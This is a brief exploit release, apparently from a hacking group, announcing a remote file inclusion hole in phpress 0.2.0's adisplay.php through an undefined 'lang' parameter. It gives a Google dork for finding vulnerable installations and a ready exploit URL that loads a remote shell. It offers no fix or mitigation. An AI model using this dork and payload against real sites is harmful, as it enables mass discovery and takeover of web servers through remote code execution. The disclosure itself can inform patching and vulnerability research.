phpress 0.2.0 (adisplay.php) Remote File Inclusion

:::::::::::::::::::::::::::::::::::::::::::::::::::…
…
::| \ | (_) | \ | | / ___|
::| \| | ___ ___ | \| | __ _ _ __ ___ ___ | | _ __

::| . ` | |/ / _ \ | . ` |/ ` | ' ` _ \ / _ \ | | | '/ _ \
\ /\ / /
::| |\ | | (| __/ | |\ | (| | | | | | | / | || | | __/\
V V /
::|| \||\\| || \|\,|| || ||\| \_|| \|
\/\/
:::::::::::::::::::::::::::::We got the nicest name in the security
scene!
::::::::Info::.
::Script: phpress
::Version: 0.2.0
::Homepage:http://sourceforge.net/projects/phpress/
::
:::::::::Details::.
::Type: Remote_File_Inclusion
::Dork: allinurl:/phpress/
::Exploit: http://host/phpress/adisplay.php?lang=shell
::
::
::Variable lang is not defined
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: [email protected]
::Website: none yet
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.